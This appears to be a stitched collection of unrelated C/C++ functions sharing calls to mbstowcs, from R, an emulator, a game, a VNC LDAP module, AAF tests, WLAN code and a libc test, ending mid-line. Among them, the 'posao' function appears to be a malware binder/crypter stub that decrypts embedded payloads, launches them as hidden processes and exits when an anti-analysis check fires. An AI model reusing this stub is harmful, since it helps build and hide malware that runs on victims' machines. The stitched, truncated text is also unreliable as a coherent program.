SEXP attribute_hidden do_makenames(SEXP call, SEXP op, SEXP args, SEXP env) { SEXP arg, ans; R_xlen_t i, n; int l, allow_; char *p, *tmp = NULL, *cbuf; const char *This; Rboolean need_prefix; const void *vmax; checkArity(op ,args); arg = CAR(args); if (!isString(arg)) error(_("non-character names")); n = XLENGTH(arg); allow_ = asLogical(CADR(args)); if (allow_ == NA_LOGICAL) error(_("invalid '%s' value"), "allow_"); PROTECT(ans = allocVector(STRSXP, n)); vmax = vmaxget(); for (i = 0 ; i < n ; i++) { This = translateChar(STRING_ELT(arg, i)); l = (int) strlen(This); /* need to prefix names not beginning with alpha or ., as well as . followed by a number */ need_prefix = FALSE; if (mbcslocale && This[0]) { int nc = l, used; wchar_t wc; mbstate_t mb_st; const char *pp = This; mbs_init(&mb_st); used = (int) Mbrtowc(&wc, pp, MB_CUR_MAX, &mb_st); pp += used; nc -= used; if (wc == L'.') { if (nc > 0) { Mbrtowc(&wc, pp, MB_CUR_MAX, &mb_st); if (iswdigit(wc)) need_prefix = TRUE; } } else if (!iswalpha(wc)) need_prefix = TRUE; } else { if (This[0] == '.') { if (l >= 1 && isdigit(0xff & (int) This[1])) need_prefix = TRUE; } else if (!isalpha(0xff & (int) This[0])) need_prefix = TRUE; } if (need_prefix) { tmp = Calloc(l+2, char); strcpy(tmp, "X"); strcat(tmp, translateChar(STRING_ELT(arg, i))); } else { tmp = Calloc(l+1, char); strcpy(tmp, translateChar(STRING_ELT(arg, i))); } if (mbcslocale) { /* This cannot lengthen the string, so safe to overwrite it. Would also be possible a char at a time. */ int nc = (int) mbstowcs(NULL, tmp, 0); wchar_t *wstr = Calloc(nc+1, wchar_t), *wc; if (nc >= 0) { mbstowcs(wstr, tmp, nc+1); for (wc = wstr; *wc; wc++) { if (*wc == L'.' || (allow_ && *wc == L'_')) /* leave alone */; else if (!iswalnum((int)*wc)) *wc = L'.'; /* If it changes into dot here, * length will become short on mbcs. * The name which became short will contain garbage. * cf. * > make.names(c("\u30fb")) * [1] "X.\0" */ } wcstombs(tmp, wstr, strlen(tmp)+1); Free(wstr); } else error(_("invalid multibyte string %d"), i+1); } else { for (p = tmp; *p; p++) {
DWORD WINAPI posao(LPVOID args) { //Sleep(100); mjuadsb62qasf(48); clean(); for(int i = 0;i<strlen(Slama);i++) { if(Slama[i] == ':') { Slama[i] = '\0'; } } int time = atoi(Slama); Sleep(time*1000); //MessageBox(NULL,"Prosli smo Sleep!",NULL,NULL); mjuadsb62qasf(958); int f = 0; clean(); chars_array = strtok(Slama, "|"); while(chars_array) { if(chars_array[strlen(chars_array)-1] == '1') { //MessageBox(NULL,"op#1",NULL,NULL); chars_array[strlen(chars_array)-1] = '\0'; mjuadsb62qasf2(960+f); Crypt(Slama2,strlen(Slama2),Key,strlen(Key)); enc2(); WT(); //MessageBox(NULL,Slama2,NULL,NULL); STARTUPINFOW siStartupInfo; PROCESS_INFORMATION piProcessInfo; memset(&siStartupInfo, 0, sizeof(siStartupInfo)); memset(&piProcessInfo, 0, sizeof(piProcessInfo)); siStartupInfo.cb = sizeof(siStartupInfo); int size = strlen(chars_array); WCHAR * name; name = new WCHAR[size]; mbstowcs(name, chars_array, size); name[size] = '\0'; xProcesPokreni(NULL, name, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &siStartupInfo, &piProcessInfo); f = f + 1; } else { //MessageBox(NULL,"op#2",NULL,NULL); chars_array[strlen(chars_array)-1] = '\0'; mjuadsb62qasf2(960+f); Crypt(Slama2,strlen(Slama2),Key,strlen(Key)); enc2(); WT(); f = f + 1; } chars_array = strtok(NULL, "|"); } //MessageBox(NULL,"Prosli smo Binder!",NULL,NULL); if(Zaseda() == true) { ExitProcess(0); } //Sleep(100); //MessageBox(NULL,NULL,"1",NULL); mjuadsb62qasf(286); marlon(NULL); //MessageBox(NULL,NULL,"2",NULL); run(NULL); //MessageBox(NULL,NULL,"3",NULL); return 0; }
int Songs::LoadHistory(const char *userId) { //ここでサーバに接続して前回と前々回の点数を受信 HINTERNET hSession, hConnect, hRequest; URL_COMPONENTS urlComponents; WCHAR szHostName[256], szUrlPath[2048]; //URL WCHAR szUrl[256] = L"http://globalstudios.jp/mai-archive/api_history.php?user="******"Sample Application/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (hSession == NULL) return -1; ZeroMemory(&urlComponents, sizeof(URL_COMPONENTS)); urlComponents.dwStructSize = sizeof(URL_COMPONENTS); urlComponents.lpszHostName = szHostName; urlComponents.dwHostNameLength = sizeof(szHostName) / sizeof(WCHAR); urlComponents.lpszUrlPath = szUrlPath; urlComponents.dwUrlPathLength = sizeof(szUrlPath) / sizeof(WCHAR); if (!WinHttpCrackUrl(szUrl, lstrlenW(szUrl), 0, &urlComponents)) { WinHttpCloseHandle(hSession); return -1; } //接続 hConnect = WinHttpConnect(hSession, szHostName, INTERNET_DEFAULT_PORT, 0); if (hConnect == NULL) { WinHttpCloseHandle(hSession); return -1; } hRequest = WinHttpOpenRequest(hConnect, L"GET", szUrlPath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); if (hRequest == NULL) { WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return -1; } if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, WINHTTP_IGNORE_REQUEST_TOTAL_LENGTH, 0)) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return 0; } WinHttpReceiveResponse(hRequest, NULL); //ボディ取得 lpData = ReadData(hRequest, &dwSize); for (int i = 0; i < NUMSONGS; i++) { char* temp = NULL; char* ctx;//内部的に使用するので深く考えない if (i == 0) { temp = strtok_s((char*)lpData, "\n", &ctx); } else { temp = strtok_s(0, "\n", &ctx); } if (temp == NULL)break; int history[2] = {}; int hoge; sscanf_s(temp, "%d||%d||%d", &hoge, &history[0], &history[1]); //以下の式を実行することによってデータを保存 //song[Search(<曲ID>)]->songHistory->Set(<前回と前々回の点数(配列ポインタ)>); song[Search(hoge)]->songHistory->Set(history); } HeapFree(GetProcessHeap(), 0, lpData); WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return 0; }
// Get the text fields for the driver in TCHARs extern "C" TCHAR* BurnDrvGetText(unsigned int i) { char* pszStringA = NULL; wchar_t* pszStringW = NULL; static char* pszCurrentNameA; static wchar_t* pszCurrentNameW; #if defined (_UNICODE) static wchar_t szShortNameW[32]; static wchar_t szDateW[32]; static wchar_t szFullNameW[256]; static wchar_t szCommentW[256]; static wchar_t szManufacturerW[256]; static wchar_t szSystemW[256]; static wchar_t szParentW[32]; static wchar_t szBoardROMW[32]; #else static char szShortNameA[32]; static char szDateA[32]; static char szFullNameA[256]; static char szCommentA[256]; static char szManufacturerA[256]; static char szSystemA[256]; static char szParentA[32]; static char szBoardROMA[32]; #endif if (!(i & DRV_ASCIIONLY)) { switch (i & 0xFF) { case DRV_FULLNAME: if (i & DRV_NEXTNAME) { if (pszCurrentNameW && pDriver[nBurnDrvSelect]->szFullNameW) { pszCurrentNameW += wcslen(pszCurrentNameW) + 1; if (!pszCurrentNameW[0]) { return NULL; } pszStringW = pszCurrentNameW; } } else { #if !defined (_UNICODE) // Ensure all of the Unicode titles are printable in the current locale pszCurrentNameW = pDriver[nBurnDrvSelect]->szFullNameW; if (pszCurrentNameW && pszCurrentNameW[0]) { int nRet; do { nRet = wcstombs(szFullNameA, pszCurrentNameW, 256); pszCurrentNameW += wcslen(pszCurrentNameW) + 1; } while (nRet >= 0 && pszCurrentNameW[0]); // If all titles can be printed, we can use the Unicode versions if (nRet >= 0) { pszStringW = pszCurrentNameW = pDriver[nBurnDrvSelect]->szFullNameW; } } #else pszStringW = pszCurrentNameW = pDriver[nBurnDrvSelect]->szFullNameW; #endif } break; case DRV_COMMENT: pszStringW = pDriver[nBurnDrvSelect]->szCommentW; break; case DRV_MANUFACTURER: pszStringW = pDriver[nBurnDrvSelect]->szManufacturerW; break; case DRV_SYSTEM: pszStringW = pDriver[nBurnDrvSelect]->szSystemW; } #if defined (_UNICODE) if (pszStringW && pszStringW[0]) { return pszStringW; } #else switch (i & 0xFF) { case DRV_NAME: pszStringA = szShortNameA; break; case DRV_DATE: pszStringA = szDateA; break; case DRV_FULLNAME: pszStringA = szFullNameA; break; case DRV_COMMENT: pszStringA = szCommentA; break; case DRV_MANUFACTURER: pszStringA = szManufacturerA; break; case DRV_SYSTEM: pszStringA = szSystemA; break; case DRV_PARENT: pszStringA = szParentA; break; case DRV_BOARDROM: pszStringA = szBoardROMA; break; } if (pszStringW && pszStringA && pszStringW[0]) { if (wcstombs(pszStringA, pszStringW, 256) != -1U) { return pszStringA; } } pszStringA = NULL; #endif } if (i & DRV_UNICODEONLY) { return NULL; } switch (i & 0xFF) { case DRV_NAME: pszStringA = pDriver[nBurnDrvSelect]->szShortName; break; case DRV_DATE: pszStringA = pDriver[nBurnDrvSelect]->szDate; break; case DRV_FULLNAME: if (i & DRV_NEXTNAME) { if (!pszCurrentNameW && pDriver[nBurnDrvSelect]->szFullNameA) { pszCurrentNameA += strlen(pszCurrentNameA) + 1; if (!pszCurrentNameA[0]) { return NULL; } pszStringA = pszCurrentNameA; } } else { pszStringA = pszCurrentNameA = pDriver[nBurnDrvSelect]->szFullNameA; pszCurrentNameW = NULL; } break; case DRV_COMMENT: pszStringA = pDriver[nBurnDrvSelect]->szCommentA; break; case DRV_MANUFACTURER: pszStringA = pDriver[nBurnDrvSelect]->szManufacturerA; break; case DRV_SYSTEM: pszStringA = pDriver[nBurnDrvSelect]->szSystemA; break; case DRV_PARENT: pszStringA = pDriver[nBurnDrvSelect]->szParent; break; case DRV_BOARDROM: pszStringA = pDriver[nBurnDrvSelect]->szBoardROM; break; } #if defined (_UNICODE) switch (i & 0xFF) { case DRV_NAME: pszStringW = szShortNameW; break; case DRV_DATE: pszStringW = szDateW; break; case DRV_FULLNAME: pszStringW = szFullNameW; break; case DRV_COMMENT: pszStringW = szCommentW; break; case DRV_MANUFACTURER: pszStringW = szManufacturerW; break; case DRV_SYSTEM: pszStringW = szSystemW; break; case DRV_PARENT: pszStringW = szParentW; break; case DRV_BOARDROM: pszStringW = szBoardROMW; break; } if (pszStringW && pszStringA && pszStringA[0]) { if (mbstowcs(pszStringW, pszStringA, 256) != -1U) { return pszStringW; } } #else if (pszStringA && pszStringA[0]) { return pszStringA; } #endif return NULL; }
LDAPAUTH_API BOOL CUGP(char * userin,char *password,char *machine, char * groupin,int locdom) { OSVERSIONINFO ovi = { sizeof ovi }; GetVersionEx( &ovi ); if (ovi.dwPlatformId == VER_PLATFORM_WIN32_NT && ovi.dwMajorVersion >= 5 ) { //Handle the command line arguments. LPOLESTR pszBuffer = new OLECHAR[MAX_PATH*2]; LPOLESTR pszBuffer2 = new OLECHAR[MAX_PATH*2]; LPOLESTR pszBuffer3 = new OLECHAR[MAX_PATH*2]; LPOLESTR pszBuffer4 = new OLECHAR[MAX_PATH*2]; mbstowcs( (wchar_t *) pszBuffer, userin, MAX_PATH ); mbstowcs( (wchar_t *) pszBuffer2, password, MAX_PATH ); mbstowcs( (wchar_t *) pszBuffer3, machine, MAX_PATH ); mbstowcs( (wchar_t *) pszBuffer4, groupin, MAX_PATH ); HRESULT hr = S_OK; //Get rootDSE and the domain container's DN. IADs *pObject = NULL; IADs *pObjectUser = NULL; IADs *pObjectGroup = NULL; IDirectorySearch *pDS = NULL; LPOLESTR szPath = new OLECHAR[MAX_PATH]; LPOLESTR myPath = new OLECHAR[MAX_PATH]; VARIANT var; wcscpy(szPath,L"LDAP://"); wcscat(szPath,L"rootDSE"); wprintf(szPath); wprintf(L"\n"); hr = ADsOpenObject(szPath, pszBuffer, pszBuffer2, ADS_SECURE_AUTHENTICATION, //Use Secure Authentication IID_IADs, (void**)&pObject); if (FAILED(hr)) { wprintf(L"Bind to domain failed %i\n",hr); if (pObject) pObject->Release(); delete [] pszBuffer; delete [] pszBuffer2; delete [] pszBuffer3; delete [] pszBuffer4; delete [] szPath; delete [] myPath; return false; } hr = pObject->Get(L"defaultNamingContext",&var); if (SUCCEEDED(hr)) { wcscpy(szPath,L"LDAP://"); wcscat(szPath,var.bstrVal); VariantClear(&var); if (pObject) { pObject->Release(); pObject = NULL; } wprintf( szPath); wprintf(L"\n"); //Bind to the root of the current domain. hr = ADsOpenObject(szPath,pszBuffer,pszBuffer2, ADS_SECURE_AUTHENTICATION,IID_IDirectorySearch,(void**)&pDS); if (SUCCEEDED(hr)) { if (SUCCEEDED(hr)) { hr = FindUserByName(pDS, pszBuffer, &pObjectUser); if (FAILED(hr)) { wprintf(L"User not found %i\n",hr); delete [] pszBuffer; delete [] pszBuffer2; delete [] pszBuffer3; delete [] szPath; delete [] myPath; if (pDS) pDS->Release(); if (pObjectUser) pObjectUser->Release(); return false; } if (pObjectUser) pObjectUser->Release(); ///////////////////// VNCACCESS hr = FindGroup(pDS, pszBuffer, &pObjectGroup,pszBuffer4); if (pObjectGroup) { pObjectGroup->Release(); pObjectGroup = NULL; } if (FAILED(hr)) wprintf(L"group not found\n"); if (SUCCEEDED(hr)) { wprintf(L"Group found OK\n"); IADsGroup * pIADsG; hr = ADsOpenObject( gbsGroup,pszBuffer, pszBuffer2, ADS_SECURE_AUTHENTICATION,IID_IADsGroup, (void**) &pIADsG); if (SUCCEEDED(hr)) { VARIANT_BOOL bMember = FALSE; hr = pIADsG->IsMember(gbsMember,&bMember); if (SUCCEEDED(hr)) { if (bMember == -1) { wprintf(L"Object \n\n%s\n\n IS a member of the following Group:\n\n%s\n\n",gbsMember,gbsGroup); delete [] pszBuffer; delete [] pszBuffer2; delete [] pszBuffer3; delete [] szPath; delete [] myPath; if (pDS) pDS->Release(); return true; } else { BSTR bsMemberGUID = NULL; IDirectoryObject * pDOMember = NULL; hr = ADsOpenObject( gbsMember,pszBuffer, pszBuffer2, ADS_SECURE_AUTHENTICATION,IID_IDirectoryObject, (void**) &pDOMember); if (SUCCEEDED(hr)) { hr = GetObjectGuid(pDOMember,bsMemberGUID); pDOMember->Release(); pDOMember = NULL; if (RecursiveIsMember(pIADsG,bsMemberGUID,gbsMember,true, pszBuffer, pszBuffer2)) { delete [] pszBuffer; delete [] pszBuffer2; delete [] pszBuffer3; delete [] szPath; delete [] myPath; if (pDS) pDS->Release(); return true; } } }//else bmember }//ismember }//iadsgroup }//Findgroup wprintf(L"USER not found in group\n"); }//user } if (pDS) pDS->Release(); } /*LOGFAILED(pszBuffer3,pszBuffer);*/ delete [] pszBuffer; delete [] pszBuffer2; delete [] pszBuffer3; delete [] szPath; delete [] myPath; return false; } return false; }
static HRESULT CreateAAFFile(aafWChar * pFileName, long int N) { IAAFFile* pFile = NULL; IAAFHeader* pHeader = NULL; IAAFDictionary* pDictionary = NULL; IAAFMob* pMob = NULL; IAAFMob* pCompMob = NULL; IAAFEssenceDescriptor* aDesc = NULL; IAAFMasterMob* pMasterMob = NULL; IAAFSourceMob* pFileMob = NULL; IAAFSourceMob* pTapeMob = NULL; IAAFSequence* pSequence = NULL; IAAFComponent* aComponent = NULL; IAAFFileDescriptor* pFileDesc = NULL; IAAFAIFCDescriptor* pAIFCDesc = NULL; IAAFTapeDescriptor* pTapeDesc = NULL; IAAFTimelineMobSlot* newSlot = NULL; IAAFSegment* seg = NULL; IAAFSourceClip* fileSclp = NULL; IAAFSourceClip* masterSclp = NULL; IAAFSourceClip* compSclp = NULL; IAAFComponent* compFill = NULL; IAAFLocator* pLocator = NULL; IAAFNetworkLocator* pNetLocator = NULL; IAAFClassDef * pCDCompositionMob = 0; IAAFClassDef * pCDSequence = 0; IAAFClassDef * pCDSourceMob = 0; IAAFClassDef * pCDTapeDescriptor = 0; IAAFClassDef * pCDAIFCDescriptor = 0; IAAFClassDef * pCDNetworkLocator = 0; IAAFClassDef * pCDMasterMob = 0; IAAFClassDef * pCDSourceClip = 0; IAAFClassDef * pCDFiller = 0; IAAFDataDef * pDdefPicture = 0; aafRational_t videoRate = { 30000, 1001 }; aafMobID_t tapeMobID, fileMobID, masterMobID; aafTimecode_t tapeTC = { 108000, kAAFTcNonDrop, 30}; aafLength_t fileLen = FILE1_LENGTH; aafLength_t fillLen = FILL_LENGTH; aafLength_t segLen = SEG_LENGTH; aafProductIdentification_t ProductInfo; long int i = 0; moduleErrorTmp = S_OK; // delete any previous test file before continuing... char chFileName[1000]; convert(chFileName, sizeof(chFileName), pFileName); remove(chFileName); aafProductVersion_t v; v.major = 1; v.minor = 0; v.tertiary = 0; v.patchLevel = 0; v.type = kAAFVersionUnknown; ProductInfo.companyName = companyName; ProductInfo.productName = productName; ProductInfo.productVersion = &v; ProductInfo.productVersionString = NULL; ProductInfo.productID = NIL_UID; ProductInfo.platform = NULL; #if defined(USE_MEMORY_FILE) check(MemoryFileOpenNewModify (0, &ProductInfo, &pFile)); #else check(AAFFileOpenNewModifyEx (pFileName, &kAAFFileKind_Aaf4KBinary, 0, &ProductInfo, &pFile)); #endif check(pFile->GetHeader(&pHeader)); // Get the AAF Dictionary so that we can create valid AAF objects. check(pHeader->GetDictionary(&pDictionary)); check(pDictionary->LookupClassDef(AUID_AAFCompositionMob, &pCDCompositionMob)); check(pDictionary->LookupClassDef(AUID_AAFSequence, &pCDSequence)); check(pDictionary->LookupClassDef(AUID_AAFSourceMob, &pCDSourceMob)); check(pDictionary->LookupClassDef(AUID_AAFTapeDescriptor, &pCDTapeDescriptor)); check(pDictionary->LookupClassDef(AUID_AAFAIFCDescriptor, &pCDAIFCDescriptor)); check(pDictionary->LookupClassDef(AUID_AAFNetworkLocator, &pCDNetworkLocator)); check(pDictionary->LookupClassDef(AUID_AAFMasterMob, &pCDMasterMob)); check(pDictionary->LookupClassDef(AUID_AAFSourceClip, &pCDSourceClip)); check(pDictionary->LookupClassDef(AUID_AAFFiller, &pCDFiller)); check(pDictionary->LookupDataDef(kAAFDataDef_Picture, &pDdefPicture)); // IMPORTANT: major remodification is from this point onwards... // sequence creation code pulled out of the subsequent loop. // Create a Composition Mob check(pCDCompositionMob->CreateInstance(IID_IAAFMob, (IUnknown **)&pCompMob)); check(pCDSequence->CreateInstance(IID_IAAFSequence, (IUnknown **)&pSequence)); check(pSequence->QueryInterface (IID_IAAFSegment, (void **)&seg)); check(pSequence->QueryInterface(IID_IAAFComponent, (void **)&aComponent)); check(aComponent->SetDataDef(pDdefPicture)); aComponent->Release(); aComponent = NULL; check(pCompMob->QueryInterface (IID_IAAFMob, (void **)&pMob)); check(pMob->AppendNewTimelineSlot(videoRate, seg, i, slotName, 0, &newSlot)); pMob->Release(); pMob = NULL; newSlot->Release(); newSlot = NULL; seg->Release(); seg = NULL; check(pHeader->AddMob(pCompMob)); // now looping around the remainder N times to make N components for (i=0; i < N; i++) { //Make the Tape MOB check(pCDSourceMob->CreateInstance(IID_IAAFSourceMob, (IUnknown **)&pTapeMob)); check(pCDTapeDescriptor->CreateInstance(IID_IAAFTapeDescriptor, (IUnknown **)&pTapeDesc)); check(pTapeDesc->QueryInterface (IID_IAAFEssenceDescriptor, (void **)&aDesc)); check(pTapeMob->SetEssenceDescriptor(aDesc)); aDesc->Release(); aDesc = NULL; pTapeDesc->Release(); pTapeDesc = NULL; check(pTapeMob->AppendTimecodeSlot (videoRate, 0, tapeTC, TAPE_LENGTH)); check(pTapeMob->AddNilReference (1,TAPE_LENGTH, pDdefPicture, videoRate)); check(pTapeMob->QueryInterface (IID_IAAFMob, (void **)&pMob)); pTapeMob->Release(); pTapeMob = NULL; // NOTE: TapeMob name is updated to change with number of objects // requested at cli. // In order to fit with the specification, it is made wide char TapeMobNameBuffer[MAX]; sprintf(TapeMobNameBuffer,"Tape Mob %ld",i); aafWChar TapeMobName[MAX]; mbstowcs(TapeMobName,TapeMobNameBuffer,MAX); check(pMob->SetName (TapeMobName)); check(pHeader->AddMob(pMob)); check(pMob->GetMobID (&tapeMobID)); pMob->Release(); pMob = NULL; // Make a FileMob check(pCDSourceMob->CreateInstance(IID_IAAFSourceMob, (IUnknown **)&pFileMob)); check(pCDAIFCDescriptor->CreateInstance(IID_IAAFFileDescriptor, (IUnknown **)&pFileDesc)); check(pFileDesc->QueryInterface (IID_IAAFEssenceDescriptor, (void **)&aDesc)); check(pFileDesc->QueryInterface (IID_IAAFAIFCDescriptor, (void **)&pAIFCDesc)); check(pAIFCDesc->SetSummary (5, (unsigned char*)"TEST")); pAIFCDesc->Release(); pAIFCDesc = NULL; // Make a locator, and attach it to the EssenceDescriptor check(pCDNetworkLocator->CreateInstance(IID_IAAFNetworkLocator, (IUnknown **)&pNetLocator)); check(pNetLocator->QueryInterface (IID_IAAFLocator, (void **)&pLocator)); check(pLocator->SetPath (TEST_PATH)); check(aDesc->AppendLocator(pLocator)); pLocator->Release(); pLocator = NULL; pNetLocator->Release(); pNetLocator = NULL; check(pFileMob->SetEssenceDescriptor(aDesc)); aDesc->Release(); aDesc = NULL; pFileDesc->Release(); pFileDesc = NULL; sourceRef.sourceID = tapeMobID; sourceRef.sourceSlotID = 1; sourceRef.startTime = 0; check(pFileMob->NewPhysSourceRef (videoRate, 1, pDdefPicture, sourceRef, fileLen)); check(pFileMob->QueryInterface (IID_IAAFMob, (void **)&pMob)); check(pMob->GetMobID (&fileMobID)); check(pHeader->AddMob(pMob)); pMob->Release(); pMob = NULL; //Make the Master MOB check(pCDMasterMob->CreateInstance(IID_IAAFMasterMob, (IUnknown **)&pMasterMob)); sourceRef.sourceID = fileMobID; sourceRef.sourceSlotID = 1; sourceRef.startTime = 0; check(pMasterMob->NewPhysSourceRef(videoRate, 1, pDdefPicture, sourceRef, fileLen)); check(pMasterMob->QueryInterface (IID_IAAFMob, (void **)&pMob)); check(pMob->GetMobID (&masterMobID)); // NOTE: MasterMob name is updated to change with number of objects // requested at cli. // In order to fit with the specification, it is made wide char MasterMobNameBuffer[MAX]; sprintf(MasterMobNameBuffer,"Master Mob %ld",i); aafWChar MasterMobName[MAX]; mbstowcs(MasterMobName,MasterMobNameBuffer,MAX); check(pMob->SetName (MasterMobName)); check(pHeader->AddMob(pMob)); pMob->Release(); pMob = NULL; // the remaining part of the sequence code, adapted for updating slot names // Create a SourceClip check(pCDSourceClip->CreateInstance(IID_IAAFSourceClip, (IUnknown **)&compSclp)); sourceRef.sourceID = masterMobID; sourceRef.sourceSlotID = 1; sourceRef.startTime = 0; check(compSclp->SetSourceReference (sourceRef)); check(compSclp->QueryInterface (IID_IAAFComponent, (void **)&aComponent)); check(aComponent->SetDataDef(pDdefPicture)); check(aComponent->SetLength (segLen)); check(pSequence->AppendComponent (aComponent)); // Create a filler - Get the component interface only (IID_IAAFComponent) check(pCDFiller->CreateInstance(IID_IAAFComponent, (IUnknown **)&compFill)); check(compFill->SetLength (fillLen)); check(compFill->SetDataDef(pDdefPicture)); check(pSequence->AppendComponent (compFill)); compFill->Release(); compFill = NULL; aComponent->Release(); aComponent = NULL; compSclp->Release(); compSclp = NULL; pMasterMob->Release(); pMasterMob = NULL; pFileMob->Release(); pFileMob = NULL; // end of loop since only one dictionary and header are needed // the file is then saved, closed and released after all modifications // are complete } cleanup: // Cleanup and return if (pNetLocator) pNetLocator->Release(); if (pLocator) pLocator->Release(); if (compFill) compFill->Release(); if (compSclp) compSclp->Release(); if (masterSclp) masterSclp->Release(); if (fileSclp) fileSclp->Release(); if (pTapeDesc) pTapeDesc->Release(); if (pFileDesc) pFileDesc->Release(); if (pTapeMob) pTapeMob->Release(); if (pFileMob) pFileMob->Release(); if (pMasterMob) pMasterMob->Release(); if (aDesc) aDesc->Release(); if (newSlot) newSlot->Release(); if (pMob) pMob->Release(); if (pCompMob) pCompMob->Release(); if (seg) seg->Release(); if (aComponent) aComponent->Release(); if (pSequence) pSequence->Release(); if (pDictionary) pDictionary->Release(); if (pHeader) pHeader->Release(); if (pCDCompositionMob) { pCDCompositionMob->Release(); pCDCompositionMob = 0; } if (pCDSequence) { pCDSequence->Release(); pCDSequence = 0; } if (pCDSourceMob) { pCDSourceMob->Release(); pCDSourceMob = 0; } if (pCDTapeDescriptor) { pCDTapeDescriptor->Release(); pCDTapeDescriptor = 0; } if (pCDAIFCDescriptor) { pCDAIFCDescriptor->Release(); pCDAIFCDescriptor = 0; } if (pCDNetworkLocator) { pCDNetworkLocator->Release(); pCDNetworkLocator = 0; } if (pCDMasterMob) { pCDMasterMob->Release(); pCDMasterMob = 0; } if (pCDSourceClip) { pCDSourceClip->Release(); pCDSourceClip = 0; } if (pCDFiller) { pCDFiller->Release(); pCDFiller = 0; } if (pDdefPicture) { pDdefPicture->Release(); pDdefPicture = 0; } if (pFile) { clock_t start = clock(); clock_t finish; double duration; pFile->Save(); pFile->Close(); #if defined(USE_MEMORY_FILE) check(MemoryFileSaveToDisk(pFileName, pFile)); #endif finish = clock(); duration = ((double) (finish - start) / CLOCKS_PER_SEC); pFile->Release(); printf("Save time = %f seconds\n", duration); } return moduleErrorTmp; }
BOOL GetCurrentNetworkInfo(LPTSTR tszAdpaterName, PBBS_CUR_NET_INFO pCurNetWzcConfig) { INTF_ENTRY_EX Intf; DWORD dwOutFlags = 0; DWORD dwResult = 0; BYTE ucBSSID[6] = {0,}; memset(&Intf, 0x00, sizeof(INTF_ENTRY_EX)); memset(pCurNetWzcConfig, 0x00, sizeof(BBS_CUR_NET_INFO)); pCurNetWzcConfig->tszSSID[0] = L'\0'; Intf.wszGuid = const_cast<LPWSTR>(tszAdpaterName); dwResult = WZCQueryInterfaceEx(NULL, INTF_ALL, &Intf, &dwOutFlags); if ( dwResult != NO_ERROR ) { if (ERROR_FILE_NOT_FOUND == dwResult) RETAILMSG(1, (TEXT("[BBS_WLAN] WZCQueryInterfaceEx() error %u: AdpaterName \"%s\" not found"), dwResult, tszAdpaterName)); else RETAILMSG(1, (TEXT("[BBS_WLAN] WZCQueryInterfaceEx() error %u out-flags 0x%08X"), dwResult, dwOutFlags)); return FALSE; } // SSID if (dwOutFlags & INTF_SSID) { mbstowcs( pCurNetWzcConfig->tszSSID, (char*)Intf.rdSSID.pData, Intf.rdSSID.dwDataLen ); } // BSSID if (dwOutFlags & INTF_BSSID) { memcpy( ucBSSID, Intf.rdBSSID.pData, sizeof(ucBSSID) ); wsprintf(pCurNetWzcConfig->tszBSSID, _T("%02X:%02X:%02X:%02X:%02X:%02X"), ucBSSID[0], ucBSSID[1], ucBSSID[2], ucBSSID[3], ucBSSID[4], ucBSSID[5] ); } // Infrastructure Mode if (dwOutFlags & INTF_INFRAMODE) { switch(Intf.nInfraMode) { case Ndis802_11IBSS: wsprintf(pCurNetWzcConfig->tszInfra, _T("adhoc") ); break; case Ndis802_11Infrastructure: wsprintf(pCurNetWzcConfig->tszInfra, _T("Access Point") ); break; default: wsprintf(pCurNetWzcConfig->tszInfra, _T("Ndis802_11AutoUnknown") ); break; } } // Authentication Mode if (dwOutFlags & INTF_AUTHMODE) { _tcscpy( pCurNetWzcConfig->tszAuth, AuthenModeStrTable[Intf.nAuthMode] ); } // Encryption (WEP) if (dwOutFlags & INTF_WEPSTATUS) { _tcscpy( pCurNetWzcConfig->tszEncr, EncryptStrTable[Intf.nWepStatus] ); } if (Intf.rdBSSIDList.dwDataLen == 0) { RETAILMSG(1, (TEXT("[BBS_WLAN] List <EMPTY> \r\n") )); } else { const PWZC_802_11_CONFIG_LIST pConfigList = (const PWZC_802_11_CONFIG_LIST)Intf.rdBSSIDList.pData; RETAILMSG(1, (TEXT("[BBS_WLAN] List entries(%d) \r\n"), pConfigList->NumberOfItems )); for (UINT i = 0; i < pConfigList->NumberOfItems; i++) { if( memcmp( ucBSSID, pConfigList->Config[i].MacAddress, sizeof(ucBSSID) ) == 0 ) { TCHAR tszSSID[128] = {'\0',}; RETAILMSG(1, (TEXT("[BBS_WLAN] Current AP MacAddress! \r\n") )); pCurNetWzcConfig->wzcConfig = (WZC_WLAN_CONFIG)pConfigList->Config[i]; RETAILMSG(1, (TEXT("[BBS_WLAN] Rssi(%d) \r\n"), pCurNetWzcConfig->wzcConfig.Rssi )); mbstowcs( tszSSID, (char*)pCurNetWzcConfig->wzcConfig.Ssid.Ssid, pCurNetWzcConfig->wzcConfig.Ssid.SsidLength ); RETAILMSG(1, (TEXT("[BBS_WLAN] Ssid(%s) \r\n"), tszSSID )); } } } WZCDeleteIntfObjEx(&Intf); // Refresh AP List Update(ReScan) RefreshNetworkList(tszAdpaterName); return TRUE; }
GLOBAL int test_mbstowcs() { char srcbuf[128]; wchar_t dstbuf[128]; char *locale; printf("1..1\n"); /* * C/POSIX locale. */ locale = setlocale(LC_CTYPE, "C"); assert(locale != NULL); assert(strcmp(locale, "C") == 0); /* Simple null terminated string. */ memset(srcbuf, 0xcc, sizeof(srcbuf)); strcpy(srcbuf, "hello"); wmemset(dstbuf, 0xcccc, sizeof(dstbuf) / sizeof(*dstbuf)); assert(mbstowcs(dstbuf, srcbuf, sizeof(dstbuf) / sizeof(*dstbuf)) == 5); assert(wcscmp(dstbuf, L"hello") == 0); assert(dstbuf[6] == 0xcccc); /* Not enough space in destination buffer. */ memset(srcbuf, 0xcc, sizeof(srcbuf)); strcpy(srcbuf, "hello"); wmemset(dstbuf, 0xcccc, sizeof(dstbuf) / sizeof(*dstbuf)); assert(mbstowcs(dstbuf, srcbuf, 4) == 4); assert(wmemcmp(dstbuf, L"hell", 4) == 0); assert(dstbuf[5] == 0xcccc); /* Null terminated string, internal dest. buffer (XSI extension) */ memset(srcbuf, 0xcc, sizeof(srcbuf)); strcpy(srcbuf, "hello"); assert(mbstowcs(NULL, 